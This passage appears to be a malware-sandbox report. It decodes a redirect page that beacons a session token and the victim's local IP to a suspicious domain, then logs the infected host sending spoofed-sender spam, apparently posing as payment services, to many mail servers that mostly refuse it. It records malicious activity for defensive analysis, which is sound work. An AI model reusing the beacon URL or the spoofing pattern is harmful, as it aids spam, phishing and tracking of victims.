64 3d 35 30 66 35 67 7a 63 75 26 6a 73 3d 65 79 4a 68 62 47 63 69 4f 69 4a 49 55 7a 49 31 4e 69 49 73 49 6e 52 35 63 43 49 36 49 6b 70 58 56 43 4a 39 2e 65 79 4a 68 64 57 51 69 4f 69 4a 4b 62 32 74 6c 62 69 49 73 49 6d 56 34 63 43 49 36 4d 54 59 32 4e 7a 49 79 4d 6a 4d 33 4e 79 77 69 61 57 46 30 49 6a 6f 78 4e 6a 59 33 4d 6a 45 31 4d 54 63 33 4c 43 4a 70 63 33 4d 69 4f 69 4a 4b 62 32 74 6c 62 69 49 73 49 6d 70 7a 49 6a 6f 78 4c 43 4a 71 64 47 6b 69 4f 69 49 79 63 32 68 70 4e 6d 35 75 62 57 4e 77 4d 7a 42 6e 4d 44 52 30 61 6a 51 30 61 6a 42 6f 63 54 55 69 4c 43 4a 75 59 6d 59 69 4f 6a 45 32 4e 6a 63 79 4d 54 55 78 4e 7a 63 73 49 6e 52 7a 49 6a 6f 78 4e 6a 59 33 4d 6a 45 31 4d 54 63 33 4f 44 49 30 4f 54 51 31 66 51 2e 31 66 6b 33 42 50 50 65 4a 70 4a 5f 77 4b 75 54 2d 35 53 45 61 52 54 6e 46 47 52 33 53 41 39 41 32 59 70 62 63 32 41 32 46 43 30 26 6c 69 70 3d 31 39 32 2e 31 36 38 2e 32 2e 35 26 73 35 3d 33 31 35 39 26 73 69 64 3d 65 37 65 33 31 65 39 38 2d 35 39 30 64 2d 31 31 65 64 2d 61 39 65 61 2d 35 63 62 66 61 38 32 37 66 37 61 64 26 77 69 6e 3d 55 6e 6b 27 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>Loading...</title></head><body><script type='text/javascript'>window.location.replace('http://aanparshnh.com/imgs/krewa/nqxa.php?ch=1&id=50f5gzcu&js=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiJKb2tlbiIsImV4cCI6MTY2NzIyMjM3NywiaWF0IjoxNjY3MjE1MTc3LCJpc3MiOiJKb2tlbiIsImpzIjoxLCJqdGkiOiIyc2hpNm5ubWNwMzBnMDR0ajQ0ajBocTUiLCJuYmYiOjE2NjcyMTUxNzcsInRzIjoxNjY3MjE1MTc3ODI0OTQ1fQ.1fk3BPPeJpJ_wKuT-5SEaRTnFGR3SA9A2Ypbc2A2FC0&lip=192.168.2.5&s5=3159&sid=e7e31e98-590d-11ed-a9ea-5cbfa827f7ad&win=Unk');</script></body></html>

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Oct 31, 2022 12:19:31.996268034 CET	25	49703	142.250.147.26	192.168.2.5	220 mx.google.com ESMTP dm19-20020a170907949300b007919f213511si7001467ejc.951 - gsmtp
Oct 31, 2022 12:19:32.003806114 CET	49703	25	192.168.2.5	142.250.147.26	HELO aspmx3.googlemail.com
Oct 31, 2022 12:19:32.048696995 CET	25	49703	142.250.147.26	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:19:32.048877001 CET	49703	25	192.168.2.5	142.250.147.26	MAIL FROM: <john@yahoo.com>
Oct 31, 2022 12:19:32.090111017 CET	25	49703	142.250.147.26	192.168.2.5	250 2.1.0 OK dm19-20020a170907949300b007919f213511si7001467ejc.951 - gsmtp
Oct 31, 2022 12:19:32.090379953 CET	49703	25	192.168.2.5	142.250.147.26	RCPT TO: <greg@kinoho.net>
Oct 31, 2022 12:19:32.109827042 CET	25	49700	104.47.59.138	192.168.2.5	220 DM6NAM12FT061.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Mon, 31 Oct 2022 11:19:31 +0000
Oct 31, 2022 12:19:32.109987020 CET	49700	25	192.168.2.5	104.47.59.138	HELO alumni-caltech-edu.mail.protection.outlook.com
Oct 31, 2022 12:19:32.241219997 CET	25	49700	104.47.59.138	192.168.2.5	250 DM6NAM12FT061.mail.protection.outlook.com Hello [102.129.143.15]
Oct 31, 2022 12:19:32.243485928 CET	49700	25	192.168.2.5	104.47.59.138	MAIL FROM: <jimmy@hotmail.com>
Oct 31, 2022 12:19:32.375056982 CET	25	49700	104.47.59.138	192.168.2.5	250 2.1.0 Sender OK
Oct 31, 2022 12:19:32.375302076 CET	49700	25	192.168.2.5	104.47.59.138	RCPT TO: <madler@alumni.caltech.edu>
Oct 31, 2022 12:19:32.507499933 CET	25	49700	104.47.59.138	192.168.2.5	550 5.7.1 Service unavailable, Client host [102.129.143.15] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.15 AS(1440) [DM6NAM12FT061.eop-nam12.prod.protection.outlook.com]
Oct 31, 2022 12:19:32.641210079 CET	25	49703	142.250.147.26	192.168.2.5	250 2.1.5 OK dm19-20020a170907949300b007919f213511si7001467ejc.951 - gsmtp
Oct 31, 2022 12:19:32.645829916 CET	49703	25	192.168.2.5	142.250.147.26	DATA
Oct 31, 2022 12:19:32.687155962 CET	25	49703	142.250.147.26	192.168.2.5	354 Go ahead dm19-20020a170907949300b007919f213511si7001467ejc.951 - gsmtp
Oct 31, 2022 12:19:32.800347090 CET	25	49703	142.250.147.26	192.168.2.5	550-5.7.26 Unauthenticated email from yahoo.com is not accepted due to domain's 550-5.7.26 DMARC policy. Please contact the administrator of yahoo.com domain 550-5.7.26 if this was a legitimate mail. Please visit 550-5.7.26 https://support.google.com/mail/answer/2451690 to learn about the 550 5.7.26 DMARC initiative. dm19-20020a170907949300b007919f213511si7001467ejc.951 - gsmtp
Oct 31, 2022 12:19:32.903099060 CET	25	49722	142.250.153.27	192.168.2.5	220 mx.google.com ESMTP qa37-20020a17090786a500b00782faf12c6esi8100057ejc.78 - gsmtp
Oct 31, 2022 12:19:32.903295994 CET	49722	25	192.168.2.5	142.250.153.27	HELO aspmx2.googlemail.com
Oct 31, 2022 12:19:32.932878971 CET	25	49722	142.250.153.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:19:32.933109999 CET	49722	25	192.168.2.5	142.250.153.27	MAIL FROM: <john@yahoo.com>
Oct 31, 2022 12:19:32.960583925 CET	25	49722	142.250.153.27	192.168.2.5	250 2.1.0 OK qa37-20020a17090786a500b00782faf12c6esi8100057ejc.78 - gsmtp
Oct 31, 2022 12:19:32.964731932 CET	49722	25	192.168.2.5	142.250.153.27	RCPT TO: <greg@kinoho.net>
Oct 31, 2022 12:19:33.180804014 CET	25	49722	142.250.153.27	192.168.2.5	250 2.1.5 OK qa37-20020a17090786a500b00782faf12c6esi8100057ejc.78 - gsmtp
Oct 31, 2022 12:19:33.182849884 CET	49722	25	192.168.2.5	142.250.153.27	DATA
Oct 31, 2022 12:19:33.210344076 CET	25	49722	142.250.153.27	192.168.2.5	354 Go ahead qa37-20020a17090786a500b00782faf12c6esi8100057ejc.78 - gsmtp
Oct 31, 2022 12:19:33.296595097 CET	25	49722	142.250.153.27	192.168.2.5	550-5.7.26 Unauthenticated email from yahoo.com is not accepted due to domain's 550-5.7.26 DMARC policy. Please contact the administrator of yahoo.com domain 550-5.7.26 if this was a legitimate mail. Please visit 550-5.7.26 https://support.google.com/mail/answer/2451690 to learn about the 550 5.7.26 DMARC initiative. qa37-20020a17090786a500b00782faf12c6esi8100057ejc.78 - gsmtp
Oct 31, 2022 12:19:33.411180019 CET	25	49727	142.250.147.26	192.168.2.5	220 mx.google.com ESMTP j27-20020a170906279b00b007adb8d724a7si4729254ejc.928 - gsmtp
Oct 31, 2022 12:19:33.411412001 CET	49727	25	192.168.2.5	142.250.147.26	HELO alt2.aspmx.l.google.com
Oct 31, 2022 12:19:33.454745054 CET	25	49727	142.250.147.26	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:19:33.454953909 CET	49727	25	192.168.2.5	142.250.147.26	MAIL FROM: <john@yahoo.com>
Oct 31, 2022 12:19:33.495202065 CET	25	49727	142.250.147.26	192.168.2.5	250 2.1.0 OK j27-20020a170906279b00b007adb8d724a7si4729254ejc.928 - gsmtp
Oct 31, 2022 12:19:33.503410101 CET	25	49707	209.51.188.92	192.168.2.5	220 eggs.gnu.org ESMTP Exim 4.90_1 Trisquel Mon, 31 Oct 2022 07:19:33 -0400
Oct 31, 2022 12:19:33.517682076 CET	49727	25	192.168.2.5	142.250.147.26	RCPT TO: <greg@kinoho.net>
Oct 31, 2022 12:19:33.517741919 CET	49707	25	192.168.2.5	209.51.188.92	HELO eggs.gnu.org
Oct 31, 2022 12:19:33.593977928 CET	25	49706	209.51.188.92	192.168.2.5	220 eggs.gnu.org ESMTP Exim 4.90_1 Trisquel Mon, 31 Oct 2022 07:19:33 -0400
Oct 31, 2022 12:19:33.594235897 CET	49706	25	192.168.2.5	209.51.188.92	HELO eggs.gnu.org
Oct 31, 2022 12:19:33.663450956 CET	25	49707	209.51.188.92	192.168.2.5	250 eggs.gnu.org Hello eggs.gnu.org [102.129.143.15]
Oct 31, 2022 12:19:33.663629055 CET	49707	25	192.168.2.5	209.51.188.92	MAIL FROM: <john@yahoo.com>
Oct 31, 2022 12:19:33.703665972 CET	25	49727	142.250.147.26	192.168.2.5	250 2.1.5 OK j27-20020a170906279b00b007adb8d724a7si4729254ejc.928 - gsmtp
Oct 31, 2022 12:19:33.703958035 CET	49727	25	192.168.2.5	142.250.147.26	DATA
Oct 31, 2022 12:19:33.739593983 CET	25	49706	209.51.188.92	192.168.2.5	250 eggs.gnu.org Hello eggs.gnu.org [102.129.143.15]
Oct 31, 2022 12:19:33.739850998 CET	49706	25	192.168.2.5	209.51.188.92	MAIL FROM: <maria@aol.com>
Oct 31, 2022 12:19:33.744014025 CET	25	49727	142.250.147.26	192.168.2.5	354 Go ahead j27-20020a170906279b00b007adb8d724a7si4729254ejc.928 - gsmtp
Oct 31, 2022 12:19:33.808011055 CET	25	49707	209.51.188.92	192.168.2.5	250 OK
Oct 31, 2022 12:19:33.808234930 CET	49707	25	192.168.2.5	209.51.188.92	RCPT TO: <freetype-devel@nongnu.org>
Oct 31, 2022 12:19:33.851396084 CET	25	49727	142.250.147.26	192.168.2.5	550-5.7.26 Unauthenticated email from yahoo.com is not accepted due to domain's 550-5.7.26 DMARC policy. Please contact the administrator of yahoo.com domain 550-5.7.26 if this was a legitimate mail. Please visit 550-5.7.26 https://support.google.com/mail/answer/2451690 to learn about the 550 5.7.26 DMARC initiative. j27-20020a170906279b00b007adb8d724a7si4729254ejc.928 - gsmtp
Oct 31, 2022 12:19:33.884265900 CET	25	49706	209.51.188.92	192.168.2.5	250 OK
Oct 31, 2022 12:19:33.884541035 CET	49706	25	192.168.2.5	209.51.188.92	RCPT TO: <freetype@nongnu.org>
Oct 31, 2022 12:19:33.975153923 CET	25	49738	142.251.5.27	192.168.2.5	220 mx.google.com ESMTP o15-20020a1c750f000000b003b4faeeb839si4391292wmc.214 - gsmtp
Oct 31, 2022 12:19:33.975481987 CET	49738	25	192.168.2.5	142.251.5.27	HELO aspmx.l.google.com
Oct 31, 2022 12:19:34.013039112 CET	25	49738	142.251.5.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:19:34.013348103 CET	49738	25	192.168.2.5	142.251.5.27	MAIL FROM: <john@yahoo.com>
Oct 31, 2022 12:19:34.047590017 CET	25	49738	142.251.5.27	192.168.2.5	250 2.1.0 OK o15-20020a1c750f000000b003b4faeeb839si4391292wmc.214 - gsmtp
Oct 31, 2022 12:19:34.047962904 CET	49738	25	192.168.2.5	142.251.5.27	RCPT TO: <greg@kinoho.net>
Oct 31, 2022 12:19:34.200170040 CET	25	49738	142.251.5.27	192.168.2.5	250 2.1.5 OK o15-20020a1c750f000000b003b4faeeb839si4391292wmc.214 - gsmtp
Oct 31, 2022 12:19:34.200932980 CET	49738	25	192.168.2.5	142.251.5.27	DATA
Oct 31, 2022 12:19:34.235336065 CET	25	49738	142.251.5.27	192.168.2.5	354 Go ahead o15-20020a1c750f000000b003b4faeeb839si4391292wmc.214 - gsmtp
Oct 31, 2022 12:19:34.341335058 CET	25	49738	142.251.5.27	192.168.2.5	550-5.7.26 Unauthenticated email from yahoo.com is not accepted due to domain's 550-5.7.26 DMARC policy. Please contact the administrator of yahoo.com domain 550-5.7.26 if this was a legitimate mail. Please visit 550-5.7.26 https://support.google.com/mail/answer/2451690 to learn about the 550 5.7.26 DMARC initiative. o15-20020a1c750f000000b003b4faeeb839si4391292wmc.214 - gsmtp
Oct 31, 2022 12:19:34.410233974 CET	25	49706	209.51.188.92	192.168.2.5	451-You seem to be a Windows machine. Our condolences. Come back later. You are 451-greylisted for 20 minutes. See http://www.fsf.org/about/systems/greylisting 451 for more information.
Oct 31, 2022 12:19:34.430202961 CET	25	49741	142.250.153.27	192.168.2.5	220 mx.google.com ESMTP qf24-20020a1709077f1800b00777be437681si7179237ejc.984 - gsmtp
Oct 31, 2022 12:19:34.430485010 CET	49741	25	192.168.2.5	142.250.153.27	HELO alt1.aspmx.l.google.com
Oct 31, 2022 12:19:34.462250948 CET	25	49741	142.250.153.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:19:34.462660074 CET	49741	25	192.168.2.5	142.250.153.27	MAIL FROM: <john@yahoo.com>
Oct 31, 2022 12:19:34.490202904 CET	25	49741	142.250.153.27	192.168.2.5	250 2.1.0 OK qf24-20020a1709077f1800b00777be437681si7179237ejc.984 - gsmtp
Oct 31, 2022 12:19:34.490545034 CET	49741	25	192.168.2.5	142.250.153.27	RCPT TO: <greg@kinoho.net>
Oct 31, 2022 12:19:34.554826975 CET	25	49706	209.51.188.92	192.168.2.5	421 eggs.gnu.org lost input connection
Oct 31, 2022 12:19:34.642673016 CET	25	49707	209.51.188.92	192.168.2.5	451-You seem to be a Windows machine. Our condolences. Come back later. You are 451-greylisted for 20 minutes. See http://www.fsf.org/about/systems/greylisting 451 for more information.
Oct 31, 2022 12:19:34.670523882 CET	25	49741	142.250.153.27	192.168.2.5	250 2.1.5 OK qf24-20020a1709077f1800b00777be437681si7179237ejc.984 - gsmtp
Oct 31, 2022 12:19:34.670857906 CET	49741	25	192.168.2.5	142.250.153.27	DATA
Oct 31, 2022 12:19:34.699270964 CET	25	49741	142.250.153.27	192.168.2.5	354 Go ahead qf24-20020a1709077f1800b00777be437681si7179237ejc.984 - gsmtp
Oct 31, 2022 12:19:34.787034988 CET	25	49707	209.51.188.92	192.168.2.5	421 eggs.gnu.org lost input connection
Oct 31, 2022 12:19:34.792535067 CET	25	49741	142.250.153.27	192.168.2.5	550-5.7.26 Unauthenticated email from yahoo.com is not accepted due to domain's 550-5.7.26 DMARC policy. Please contact the administrator of yahoo.com domain 550-5.7.26 if this was a legitimate mail. Please visit 550-5.7.26 https://support.google.com/mail/answer/2451690 to learn about the 550 5.7.26 DMARC initiative. qf24-20020a1709077f1800b00777be437681si7179237ejc.984 - gsmtp
Oct 31, 2022 12:19:36.101721048 CET	25	49752	142.250.147.26	192.168.2.5	220 mx.google.com ESMTP i7-20020a50fc07000000b0045c0accb2b8si6281015edr.205 - gsmtp
Oct 31, 2022 12:19:36.102020979 CET	49752	25	192.168.2.5	142.250.147.26	HELO alt2.gmail-smtp-in.l.google.com
Oct 31, 2022 12:19:36.147090912 CET	25	49752	142.250.147.26	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:19:36.147233963 CET	49752	25	192.168.2.5	142.250.147.26	MAIL FROM: <andrew@hotmail.com>
Oct 31, 2022 12:19:36.187148094 CET	25	49752	142.250.147.26	192.168.2.5	250 2.1.0 OK i7-20020a50fc07000000b0045c0accb2b8si6281015edr.205 - gsmtp
Oct 31, 2022 12:19:36.187299013 CET	49752	25	192.168.2.5	142.250.147.26	RCPT TO: <joeyadams3.14159@gmail.com>
Oct 31, 2022 12:19:36.195347071 CET	25	49753	217.69.139.150	192.168.2.5	220 mxs.mail.ru ESMTP ready
Oct 31, 2022 12:19:36.195485115 CET	49753	25	192.168.2.5	217.69.139.150	HELO mxs.mail.ru
Oct 31, 2022 12:19:36.253962040 CET	25	49753	217.69.139.150	192.168.2.5	250 mxs.mail.ru
Oct 31, 2022 12:19:36.256458998 CET	49753	25	192.168.2.5	217.69.139.150	MAIL FROM: <Alexey@pochta.ru>
Oct 31, 2022 12:19:36.318110943 CET	25	49753	217.69.139.150	192.168.2.5	250 2.0.0 OK
Oct 31, 2022 12:19:36.318392992 CET	49753	25	192.168.2.5	217.69.139.150	RCPT TO: <lastguru@mail.ru>
Oct 31, 2022 12:19:36.378994942 CET	25	49753	217.69.139.150	192.168.2.5	250 Go ahead
Oct 31, 2022 12:19:36.379173040 CET	49753	25	192.168.2.5	217.69.139.150	DATA
Oct 31, 2022 12:19:36.408241987 CET	25	49752	142.250.147.26	192.168.2.5	250 2.1.5 OK i7-20020a50fc07000000b0045c0accb2b8si6281015edr.205 - gsmtp
Oct 31, 2022 12:19:36.408585072 CET	49752	25	192.168.2.5	142.250.147.26	DATA
Oct 31, 2022 12:19:36.438373089 CET	25	49753	217.69.139.150	192.168.2.5	354 Go ahead. End your data with <CR><LF>.<CR><LF>
Oct 31, 2022 12:19:36.448988914 CET	25	49752	142.250.147.26	192.168.2.5	354 Go ahead i7-20020a50fc07000000b0045c0accb2b8si6281015edr.205 - gsmtp
Oct 31, 2022 12:19:36.495853901 CET	25	49754	198.252.153.129	192.168.2.5	220-mx1.riseup.net ESMTP (spam is not appreciated)
Oct 31, 2022 12:19:36.496053934 CET	49754	25	192.168.2.5	198.252.153.129	HELO mx1.riseup.net
Oct 31, 2022 12:19:36.611696959 CET	25	49752	142.250.147.26	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. i7-20020a50fc07000000b0045c0accb2b8si6281015edr.205 - gsmtp
Oct 31, 2022 12:19:36.704665899 CET	25	49767	142.250.153.27	192.168.2.5	220 mx.google.com ESMTP sa30-20020a1709076d1e00b007429f0c69ccsi8354200ejc.579 - gsmtp
Oct 31, 2022 12:19:36.704885960 CET	49767	25	192.168.2.5	142.250.153.27	HELO alt1.gmail-smtp-in.l.google.com
Oct 31, 2022 12:19:36.735302925 CET	25	49767	142.250.153.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:19:36.735625029 CET	49767	25	192.168.2.5	142.250.153.27	MAIL FROM: <andrew@hotmail.com>
Oct 31, 2022 12:19:36.763309002 CET	25	49767	142.250.153.27	192.168.2.5	250 2.1.0 OK sa30-20020a1709076d1e00b007429f0c69ccsi8354200ejc.579 - gsmtp
Oct 31, 2022 12:19:36.763498068 CET	49767	25	192.168.2.5	142.250.153.27	RCPT TO: <joeyadams3.14159@gmail.com>
Oct 31, 2022 12:19:36.797885895 CET	25	49754	198.252.153.129	192.168.2.5	250 mx1.riseup.net
Oct 31, 2022 12:19:36.800865889 CET	49754	25	192.168.2.5	198.252.153.129	MAIL FROM: <support@wmtransfer.com>
Oct 31, 2022 12:19:36.901762009 CET	25	49751	74.125.200.26	192.168.2.5	220 mx.google.com ESMTP l22-20020a63ea56000000b0046ec05ccbe8si8486682pgk.380 - gsmtp
Oct 31, 2022 12:19:36.908782005 CET	49751	25	192.168.2.5	74.125.200.26	HELO alt4.gmail-smtp-in.l.google.com
Oct 31, 2022 12:19:36.944089890 CET	25	49767	142.250.153.27	192.168.2.5	250 2.1.5 OK sa30-20020a1709076d1e00b007429f0c69ccsi8354200ejc.579 - gsmtp
Oct 31, 2022 12:19:36.945113897 CET	49767	25	192.168.2.5	142.250.153.27	DATA
Oct 31, 2022 12:19:36.972799063 CET	25	49767	142.250.153.27	192.168.2.5	354 Go ahead sa30-20020a1709076d1e00b007429f0c69ccsi8354200ejc.579 - gsmtp
Oct 31, 2022 12:19:36.974725008 CET	25	49754	198.252.153.129	192.168.2.5	250 2.1.0 Ok
Oct 31, 2022 12:19:36.991323948 CET	49754	25	192.168.2.5	198.252.153.129	RCPT TO: <currojerez@riseup.net>
Oct 31, 2022 12:19:37.055604935 CET	25	49753	217.69.139.150	192.168.2.5	550 5.7.1 This message was not accepted due to domain (pochta.ru) owner DMARC policy (RFC 7489) https://help.mail.ru/mail-help/postmaster/dmarc
Oct 31, 2022 12:19:37.061192036 CET	25	49767	142.250.153.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. sa30-20020a1709076d1e00b007429f0c69ccsi8354200ejc.579 - gsmtp
Oct 31, 2022 12:19:37.165388107 CET	25	49754	198.252.153.129	192.168.2.5	550 5.5.1 Protocol error
Oct 31, 2022 12:19:37.193526030 CET	25	49771	74.125.140.27	192.168.2.5	220 mx.google.com ESMTP e12-20020a056000120c00b00236862b55acsi4357377wrx.855 - gsmtp
Oct 31, 2022 12:19:37.193861961 CET	49771	25	192.168.2.5	74.125.140.27	HELO gmail-smtp-in.l.google.com
Oct 31, 2022 12:19:37.230906010 CET	25	49771	74.125.140.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:19:37.238675117 CET	49771	25	192.168.2.5	74.125.140.27	MAIL FROM: <andrew@hotmail.com>
Oct 31, 2022 12:19:37.272947073 CET	25	49771	74.125.140.27	192.168.2.5	250 2.1.0 OK e12-20020a056000120c00b00236862b55acsi4357377wrx.855 - gsmtp
Oct 31, 2022 12:19:37.273284912 CET	49771	25	192.168.2.5	74.125.140.27	RCPT TO: <joeyadams3.14159@gmail.com>
Oct 31, 2022 12:19:37.442964077 CET	25	49751	74.125.200.26	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:19:37.447278023 CET	49751	25	192.168.2.5	74.125.200.26	MAIL FROM: <jack@msn.com>
Oct 31, 2022 12:19:37.458831072 CET	25	49771	74.125.140.27	192.168.2.5	250 2.1.5 OK e12-20020a056000120c00b00236862b55acsi4357377wrx.855 - gsmtp
Oct 31, 2022 12:19:37.466542959 CET	49771	25	192.168.2.5	74.125.140.27	DATA
Oct 31, 2022 12:19:37.500883102 CET	25	49771	74.125.140.27	192.168.2.5	354 Go ahead e12-20020a056000120c00b00236862b55acsi4357377wrx.855 - gsmtp
Oct 31, 2022 12:19:37.610344887 CET	25	49771	74.125.140.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. e12-20020a056000120c00b00236862b55acsi4357377wrx.855 - gsmtp
Oct 31, 2022 12:19:37.810452938 CET	25	49775	142.250.150.27	192.168.2.5	220 mx.google.com ESMTP h18-20020a05651c159200b002756ca856a9si5059456ljq.434 - gsmtp
Oct 31, 2022 12:19:37.810605049 CET	49775	25	192.168.2.5	142.250.150.27	HELO alt3.gmail-smtp-in.l.google.com
Oct 31, 2022 12:19:37.875242949 CET	25	49775	142.250.150.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:19:37.892488956 CET	49775	25	192.168.2.5	142.250.150.27	MAIL FROM: <andrew@hotmail.com>
Oct 31, 2022 12:19:37.947436094 CET	25	49775	142.250.150.27	192.168.2.5	250 2.1.0 OK h18-20020a05651c159200b002756ca856a9si5059456ljq.434 - gsmtp
Oct 31, 2022 12:19:37.947695971 CET	49775	25	192.168.2.5	142.250.150.27	RCPT TO: <joeyadams3.14159@gmail.com>
Oct 31, 2022 12:19:37.979062080 CET	25	49751	74.125.200.26	192.168.2.5	250 2.1.0 OK l22-20020a63ea56000000b0046ec05ccbe8si8486682pgk.380 - gsmtp
Oct 31, 2022 12:19:37.982647896 CET	49751	25	192.168.2.5	74.125.200.26	RCPT TO: <ran234@gmail.com>
Oct 31, 2022 12:19:38.171907902 CET	25	49775	142.250.150.27	192.168.2.5	250 2.1.5 OK h18-20020a05651c159200b002756ca856a9si5059456ljq.434 - gsmtp
Oct 31, 2022 12:19:38.172060013 CET	49775	25	192.168.2.5	142.250.150.27	DATA
Oct 31, 2022 12:19:38.226752996 CET	25	49775	142.250.150.27	192.168.2.5	354 Go ahead h18-20020a05651c159200b002756ca856a9si5059456ljq.434 - gsmtp
Oct 31, 2022 12:19:38.409107924 CET	25	49775	142.250.150.27	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. h18-20020a05651c159200b002756ca856a9si5059456ljq.434 - gsmtp
Oct 31, 2022 12:19:38.533430099 CET	25	49751	74.125.200.26	192.168.2.5	250 2.1.5 OK l22-20020a63ea56000000b0046ec05ccbe8si8486682pgk.380 - gsmtp
Oct 31, 2022 12:19:38.550913095 CET	49751	25	192.168.2.5	74.125.200.26	DATA
Oct 31, 2022 12:19:39.082299948 CET	25	49751	74.125.200.26	192.168.2.5	354 Go ahead l22-20020a63ea56000000b0046ec05ccbe8si8486682pgk.380 - gsmtp
Oct 31, 2022 12:19:39.345732927 CET	25	49794	74.125.200.26	192.168.2.5	220 mx.google.com ESMTP k9-20020a636f09000000b0046ef5872337si9098870pgc.116 - gsmtp
Oct 31, 2022 12:19:39.345958948 CET	49794	25	192.168.2.5	74.125.200.26	HELO alt4.gmail-smtp-in.l.google.com
Oct 31, 2022 12:19:39.883018970 CET	25	49794	74.125.200.26	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:19:39.886203051 CET	49794	25	192.168.2.5	74.125.200.26	MAIL FROM: <andrew@hotmail.com>
Oct 31, 2022 12:19:40.419481993 CET	25	49794	74.125.200.26	192.168.2.5	250 2.1.0 OK k9-20020a636f09000000b0046ef5872337si9098870pgc.116 - gsmtp
Oct 31, 2022 12:19:40.419706106 CET	49794	25	192.168.2.5	74.125.200.26	RCPT TO: <joeyadams3.14159@gmail.com>
Oct 31, 2022 12:19:40.437921047 CET	25	49751	74.125.200.26	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. l22-20020a63ea56000000b0046ec05ccbe8si8486682pgk.380 - gsmtp
Oct 31, 2022 12:19:40.971343994 CET	25	49794	74.125.200.26	192.168.2.5	250 2.1.5 OK k9-20020a636f09000000b0046ef5872337si9098870pgc.116 - gsmtp
Oct 31, 2022 12:19:41.238707066 CET	49794	25	192.168.2.5	74.125.200.26	DATA
Oct 31, 2022 12:19:41.470973015 CET	25	49812	74.125.200.27	192.168.2.5	220 mx.google.com ESMTP n18-20020aa79852000000b00536fa6bbb11si3067673pfq.344 - gsmtp
Oct 31, 2022 12:19:41.514791965 CET	49812	25	192.168.2.5	74.125.200.27	HELO alt1.gmail-smtp-in.l.google.com
Oct 31, 2022 12:19:41.772393942 CET	25	49794	74.125.200.26	192.168.2.5	354 Go ahead k9-20020a636f09000000b0046ef5872337si9098870pgc.116 - gsmtp
Oct 31, 2022 12:19:42.045460939 CET	25	49812	74.125.200.27	192.168.2.5	250 mx.google.com at your service
Oct 31, 2022 12:19:42.148480892 CET	49812	25	192.168.2.5	74.125.200.27	MAIL FROM: <jack@msn.com>
Oct 31, 2022 12:19:42.677709103 CET	25	49812	74.125.200.27	192.168.2.5	250 2.1.0 OK n18-20020aa79852000000b00536fa6bbb11si3067673pfq.344 - gsmtp
Oct 31, 2022 12:19:43.033648968 CET	49812	25	192.168.2.5	74.125.200.27	RCPT TO: <ran234@gmail.com>
Oct 31, 2022 12:19:43.099756002 CET	25	49794	74.125.200.26	192.168.2.5	550-5.7.1 [102.129.143.15] Messages missing a valid messageId header are not 550 5.7.1 accepted. k9-20020a636f09000000b0046ef5872337si9098870pgc.116 - gsmtp
Oct 31, 2022 12:19:43.573194027 CET	25	49812	74.125.200.27	192.168.2.5	250 2.1.5 OK n18-20020aa79852000000b00536fa6bbb11si3067673pfq.344 - gsmtp
Oct 31, 2022 12:19:43.573365927 CET	49812	25	192.168.2.5	74.125.200.27	DATA
Oct 31, 2022 12:19:44.101500988 CET	25	49812	74.125.200.27	192.168.2.5	354 Go ahead n18-20020aa79852000000b00536fa6bbb11si3067673pfq.344 - gsmtp
Oct 31, 2022 12:19:44.813875914 CET	25	49814	104.47.59.138	192.168.2.5	220 DM6NAM12FT049.mail.protection.outlook.com Microsoft ESMTP MAIL Service ready at Mon, 31 Oct 2022 11:19:43 +0000
Oct 31, 2022 12:19:44.814105034 CET	49814	25	192.168.2.5	104.47.59.138	HELO alumni-caltech-edu.mail.protection.outlook.com
Oct 31, 2022 12:19:44.948323011 CET	25	49814	104.47.59.138	192.168.2.5	250 DM6NAM12FT049.mail.protection.outlook.com Hello [102.129.143.15]
Oct 31, 2022 12:19:44.948636055 CET	49814	25	192.168.2.5	104.47.59.138	MAIL FROM: <support@rbkmoney.ru>
Oct 31, 2022 12:19:45.073190928 CET	25	49815	209.51.188.92	192.168.2.5	220 eggs.gnu.org ESMTP Exim 4.90_1 Trisquel Mon, 31 Oct 2022 07:19:45 -0400
Oct 31, 2022 12:19:45.073560953 CET	49815	25	192.168.2.5	209.51.188.92	HELO eggs.gnu.org
Oct 31, 2022 12:19:45.083151102 CET	25	49814	104.47.59.138	192.168.2.5	250 2.1.0 Sender OK
Oct 31, 2022 12:19:45.083549976 CET	49814	25	192.168.2.5	104.47.59.138	RCPT TO: <madler@alumni.caltech.edu>
Oct 31, 2022 12:19:45.218529940 CET	25	49814	104.47.59.138	192.168.2.5	550 5.7.1 Service unavailable, Client host [102.129.143.15] blocked using Spamhaus. To request removal from this list see https://www.spamhaus.org/query/ip/102.129.143.15 AS(1440) [DM6NAM12FT049.eop-nam12.prod.protection.outlook.com]
Oct 31, 2022 12:19:45.219011068 CET	25	49815	209.51.188.92	192.168.2.5	250 eggs.gnu.org Hello eggs.gnu.org [102.129.143.15]
Oct 31, 2022 12:19:45.219196081 CET	49815	25	192.168.2.5	209.51.188.92	MAIL FROM: <steve@aol.com>
Oct 31, 2022 12:19:45.362808943 CET	25	49815	209.51.188.92	192.168.2.5	250 OK
